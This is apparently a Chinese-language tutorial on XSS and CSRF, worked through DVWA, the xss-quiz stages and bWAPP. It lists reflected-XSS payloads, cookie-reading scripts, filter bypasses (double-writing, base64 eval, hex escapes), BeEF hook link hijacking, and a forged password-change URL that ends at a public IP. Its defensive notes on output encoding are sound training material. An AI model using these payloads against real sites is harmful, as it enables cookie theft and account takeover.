攻击者在论坛,博客,留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库,当用户进行正常访问时,触发XSS代码
DOM型XSS
DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容,结构及样式
反射XSS盗取cookie
测试环境:dvwa靶场
首先登录(用户名:admin,密码:password),要调整安全等级为low
选择反射型xss
输入JavaScript脚本获取cookie
<script>alert(document.cookie)</script> |
点击submit
此时会弹出cookie
XSS篡改网页链接
测试环境:dvwa靶场
使用到的js代码
<script> |
window.onload当窗口加载时,执行匿名函数.使用for循环遍历所有获得的链接a标签,修改为http://www.idefun.com
同样选择反射型xss,将上面代码粘贴到框内并submit
之后可以直接点击网页链接,发现跳转至http://www.idefun.com,也可以F12打开调试工具,发现成功修改
如果是在存储型xss,甚至可以长久生效
XSS篡改网页链接指向恶意链接
使用beef-xss产生恶意代码(初次使用要设置密码)
会得到web UI网址和要插入网页的恶意代码
在本地开启Apache服务,并修改index.html(将上面hook中代码复制到index.html,注意ip修改为本机ip)
service apache2 start |
打开web UI网址(要输入用户名和密码,用户名:beef,密码:自己设置的)
直接访问http://192.168.88.137/index.html,会发现web UI中上线一台主机
接下来利用xss将链接全部改为http://192.168.88.137/index.html
<script> |
XSS绕过
测试地址:http://xss-quiz.int21h.jp/
stage #1
在Search框内随便输入一个字符串
检查后发现被\标签包裹
尝试闭合b标签
"</b><script>alert(document.domain);</script> |
成功弹出域名
标签属性中的XSS
测试地址:http://xss-quiz.int21h.jp
stage #2
随意输入字符串测试
检查元素,发现该字符串在input标签中的value属性
接下来尝试闭合value属性
可以闭合value属性后插入javascript代码,也可以插入属性
插入JavaScript代码
"><script>alert(document.domain);</script> |
成功弹出域名
闭合后代码如下
插入属性
" onmouseover="alert(document.domain)"> |
鼠标经过即可弹出域名
相应代码如下
选择列表中的XSS
测试地址:http://xss-quiz.int21h.jp
stage #3
随意输入字符串测试
检查元素发现被b标签包裹
尝试闭合b标签
"</b><script>alert(document.domain);</script> |
发现js代码会被强制转换
尝试利用后面的select
使用BurpSuite截取
修改post参数
Japan<script>alert(document.domain);</script> |
在浏览器打开响应
复制url在浏览器打开
成功弹出域名
查看代码
隐藏提交参数中的XSS
测试地址:http://xss-quiz.int21h.jp
stage #4
HTML表单隐藏参数介绍
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的.但表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上.
代码格式:
<input type="hidden" name="" value=""> |
HTML中svg介绍
SVG意为可缩放矢量图形(Scalable Vector Graphics),svg使用XML格式定义图像.
SVG文件可以通过以下标签嵌入HTML文档:
BurpSuite开启抓包,输入字符串测试
停止截断查看源代码
发现可以尝试闭合b标签和option标签,同时有一个hidden类型的input标签(value为hackme)
"</b><script>alert(document.domain);</script> |
<script>alert(document.domain);</script> |
均失败
尝试在hidden类型的input插入js代码
<script>alert(document.domain);</script> |
发现代码被插入到value属性
尝试闭合value
"><script>alert(document.domain);</script> |
成功弹出
查看源代码
利用svg标签
"><svg onload="alert(document.domain)">%0a |
成功弹出
查看源代码
限制长度的XSS
测试地址:http://xss-quiz.int21h.jp
stage #5
HTML表单文本框介绍
HTML表单用于搜集不同类型的用户输入.表单元素指的是不同类型的input元素,复选框,单选按钮,提交按钮等.text定义常规文本输入
属性 | 介绍 |
---|---|
text | 常规文本输入 |
value | 规定输入字段的初始值 |
readonly | 规定输入字段为只读 |
disabled | 规定输入字段是禁用的,被禁用元素是不可用和不可点击,也不会提交 |
size | 规定输入字段的尺寸 |
maxlength | 规定输入字段允许的最大长度 |
注意:如设置maxlength属性,则输入控件不会接受超过所允许数的字符.该属性不会提供如何反馈,如果需要提醒用户,则必须编写JavaScript代码.
直接输入js代码
<script>alert(document.domain);</script> |
发现有长度限制
检查元素并修改maxlength
再次输入,检查元素发现输入的代码在value属性中
尝试闭合value
"><script>alert(document.domain);</script> |
或
"><svg onload="alert(document.domain)">%0a |
成功弹出
HTML事件中的XSS
测试地址:http://xss-quiz.int21h.jp
stage #6
HTML事件介绍
在现代浏览器中内置有大量的事件处理器.这些事件处理器会监视特定的条件和用户行为,例如鼠标点击或浏览器窗口完成加载某个图像.通过使用客户端的JavaScript,可以将某些特定的事件处理器作为属性添加特定的标签,并可以在事件发生时执行一个或多个JavaScript命令或函数.
输入字符串测试
发现字符串在value属性中
尝试闭合value属性
"><script>alert(document.domain);</script> |
或
" onclick="alert(document.domain)" |
使用第一种发现尖括号被转义,无法弹出域名
使用第二种,点击输入框弹出域名
空格分隔属性中的XSS
测试地址:http://xss-quiz.int21h.jp
stage #7
输入字符串测试
字符串出现在value属性中,尝试闭合value属性
"><script>alert(document.domain);</script> |
或
" onclick="alert(document.domain)" |
通过第二个
" onclick="alert(document.domain)" |
发现”出现在value中,onclick出现在后面且会自动添加双引号(“与onclick之间必须有空格)
输入1111 222测试
输入1111 222=222测试
构造payload
111 onclick=alert(document.domain) |
点击输入框,弹出域名
JavaScript伪协议触发XSS
测试地址:http://xss-quiz.int21h.jp
stage #8
JavaScript伪协议介绍
将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的url中.这个特殊的协议类型声明了url的主体是任意的JavaScript代码,它由JavaScript解释器运行.如果javaScript:url中的JavaScript代码含有多个语句,必须使用分号将这些语句分隔开.
javascript:var now=new Date();"<h1>The time is:</h1>"+now; |
javascript:url还可以含有只执行动作不返回值的JavaScript语句
javascript:alert("hello world") |
随意输入字符串
可以尝试闭合href属性
111"> <script>alert(document.domain);</script> |
失败
使用JavaScript伪协议
javascript:alert(document.domain) |
点击链接,成功弹出域名
绕过过滤domain为空的XSS
测试地址:http://xss-quiz.int21h.jp
stage #10
这里直接跳过stage #9,stage #9是utf-7类型,应用范围较小
但不通过stage #9无法到达stage #10,可以通过下面方式
检测上图Hint元素
在span标签中添加如下代码
onclick="alert(document.domain)" |
点击即可弹出域名
可前往stage #10
输入字符串测试
尝试闭合value
"> <script>alert(document.domain);</script> |
发现成功插入,但domain被过滤
绕过方法:
- 双写绕过
- 编码绕过
双写绕过
"> <script>alert(document.dodomainmain);</script> |
成功弹出域名
检查源代码
编码绕过
将alert(document.domain)使用base-64加密再执行
"> <script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script> |
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
例:
eval("x=10;y=20;document.write(x*y)") |
输出200
atob() 方法用于解码使用 base-64 编码的字符串
成功弹出域名
检查源代码如下
绕过替换script和on事件的XSS
测试地址:http://xss-quiz.int21h.jp
stage #11
很遗憾我好像打不开,就只能口述了.在本关,可以正常闭合value属性,只不过script标签被自动替换为xscript,onclick等on事件被替换为onxxxx,导致无法弹出域名.
可以使用JavaScript伪协议
"> <a href="javascript:alert(document.domain)"></a> |
但其中的javascript会变成javaxscript
可通过空格绕过(在javascript中添加一些空格分隔)
"> <a href="javas cript:alert(document.domain)"></a> |
成功绕过
利用IE特性绕过XSS过滤
测试地址:http://xss-quiz.int21h.jp
stage #12
构造特殊无害字符串,响应中寻找字符串
字符串出现在value标签中,可以闭合value属性或闭合input标签
闭合value属性
" onclick="alert(document.domain)" |
双引号被过滤
闭合input标签
"> <script>alert(document.domain);</script> |
发现尖括号被过滤
IE特性
IE中,两个反引号``可以闭合一个左边双引号
在IE浏览器中打开网页,构造payload
`` onclick="alert(document.domain)" |
成功闭合
点击弹出域名
利用CSS特性绕过XSS过滤
测试地址:http://xss-quiz.int21h.jp
stage #13
CSS特性
background:url() 设置背景
设置background:url,利用javascript伪协议执行js.目前IE浏览器支持,其他浏览器不再支持.
background:url(“javascript:alert(document.domain);”)
payload
background-color:#f00;background:url("javascript:alert(document.domain);") |
需要使用低版本IE浏览器,漏洞失时效性,暂不演示.
16进制绕过过滤触发XSS
测试地址:http://xss-quiz.int21h.jp
stage #15
python进行16进制转换
import binascii |
将尖括号转换为16进制
构造特殊无害字符串
尝试闭合value或input
" onclick="alert(document.domain)" |
或
"><script>alert(document.domain);</script> |
均失败,发现尖括号被转义
尝试使用16进制的尖括号
\x3c \x3e |
发现反斜杠消失
使用双反斜杠
\\x3c \\x3e |
成功显示尖括号
构造payload
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e |
成功弹出域名
Unicode绕过过滤XSS
测试地址:http://xss-quiz.int21h.jp
stage #16
类似16进制的,只不过是将尖括号用Unicode形式表示出来.因为我无法打开这一关,就不再演示.
浏览器同源策略
源的含义
在计算机中源在RFC6454文档中规定,源是由协议,主机名,端口名组成.
范例:
协议://主机名:端口号/ |
例如:http://www.example.com
与https://www.example.com
不是同源.
同源策略
在计算机中,同源策略(Same-origin Policy,SOP)用于阻止一个非同源的页面恶意去代码访问另一个非同源页面.
只有两个页面属于同一个源才能互相访问.不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源.所以a.com下的js脚本采用Ajax读取b.com里面的文件数据是会报错的.
例如:源A页面要访问源B页面认证cookie,如果不加以阻止读取,会造成cookie欺骗绕过登录验证.
同源一定是协议,主机名,端口号完全一致.
IE源的特殊处理
- 位于可信域(Trust Zones)的互信的域名间,不受同源策略限制
- IE在判断同源时不考虑端口
可通过document.domain读取或修改源.但是有限制,修改后的源不能通过其他脚本再次修改.
document.domain
domain属性可以解决因同源安全策略带来的不同文档的属性共享问题,可用来降域.
同源策略认为域和子域属于不同的域,如:
- child.a.com与a.com
- child1.a.com与child2.com
- xxx.child1.a.com与child1.a.com
两两不同源,可以通过设置document.domain=’a.com’,浏览器就会认为它们是同一个源.想要实现以上任意两个页面之间的通信,两个页面必须都设置document.domain=’a.com’
XSS_Filter过滤器
htmlspecialchars()函数
htmlspecialchars()函数把预定义的字符转换为HTML实体,即不再作为标签起作用.
预定义字符:
- & (和号)成为&
- “ (双引号)成为”
- ‘ (单引号)成为’
- < (小于)成为<
- > (大于)成为>
函数原型:htmlspecialchars(string,flags,character-set,double_encode)
参考文档:https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
|
运行结果
htmlentities()函数
这个函数对于过滤用户输入的数据非常有用.它会将一些特殊字符转换为HTML实体.例如,用户输入<时,就会被该函数转化为HTML实体<(<),输入>就会被转换为实体>.
函数原型:htmlentities(string,flags,character-set,double_encode)
参考文档:https://www.w3school.com.cn/php/func_string_htmlentities.asp
|
运行结果
strip_tags()函数
strip_tags()函数剥去字符串中的HTML,XML以及PHP的标签.
注意:该函数始终会剥离HTML注释.这点无法通过allow参数改变.该函数是二进制安全的.
函数原型:strip_tags(string,allow)
参考文档:https://www.w3school.com.cn/php/func_string_strip_tags.asp
|
运行结果
自定义xss filter
可以在网上直接下载使用
编码转义介绍
URL编码
url的设计者考虑到安全传输问题,防止url字符丢失,所以选用了较小的,通用的安全字母表.另一方面,url设计者希望url是完整的,有时候需要url包含除去通用安全字母表之外的二进制数据和字符(比如中文).所以url引入了一种转义机制,将不安全的字符编码为安全字符在进行传输.
百分号编码:url编码包含一个百分号(%),后面跟着两个表示字符ascii码的十六进制数.例如:空格转换为”%20”.
HTML编码
一些保留字符出现在文本节点和标签值里是不安全的.比如”<>”会导致浏览器误认为标签.如果想要正确的显示这些字符,需要使用HTML编码.
实体编码:一般以”&”开头,以”;”结尾,可以不加”;”.
进制编码:以”$#”开头,加上字符的数值,以”;”结尾,可以不加”;”.字符的数值可以是任意十进制ascii码或Unicode字符编码.十六进制的数值需要在编码数字之前加”x”.
JavaScript编码
数字形式:\\u后面加4位16进制数字(或\\x后加2位16进制数字),按字符的Unicode数值编码,不足位数以零填充.如:”<”转为”\u003c”或”\x3c”.其中”\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以.
XSS方式的位置
GET型url中的XSS
如果在url中提交的参数值在页面显示,很有可能存在XSS.
POST型表单中的XSS
如果在表单中提交的参数值在页面显示,很有可能存在XSS.
JSON中的XSS
自定义HTTP头中的XSS
XSS漏洞原理
XSS进阶
CSRF漏洞
CSRF(Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或Session Riding,通常缩写为CSRF或者XSRF。是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本攻击(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
测试环境:bWAPP
输入用户名(bee)和密码(bug)登录
选择CSRF的change password,点击hack
进入下面页面
输入密码即可修改,将密码修改为123
修改成功后,点击logout退出登录
接下来必须输入修改后的密码才能登录
接下来再次回到刚才的页面,重新修改密码为abc,同时打开开发者工具查看network
查看第一个,会发现我们修改的数据都在url中
尝试自己伪造
http://网址/csrf_1.php?password_new=abc&password_conf=abc&action=change |
将密码改为456
http://网址/csrf_1.php?password_new=456&password_conf=456&action=change |
直接访问网址即可,发现密码成功修改
点击logout退出,使用密码456登录
无防护的CSRF漏洞利用
http://123.57.188.81:8093/csrf_1.php?password_new=123&password_conf=123&action=change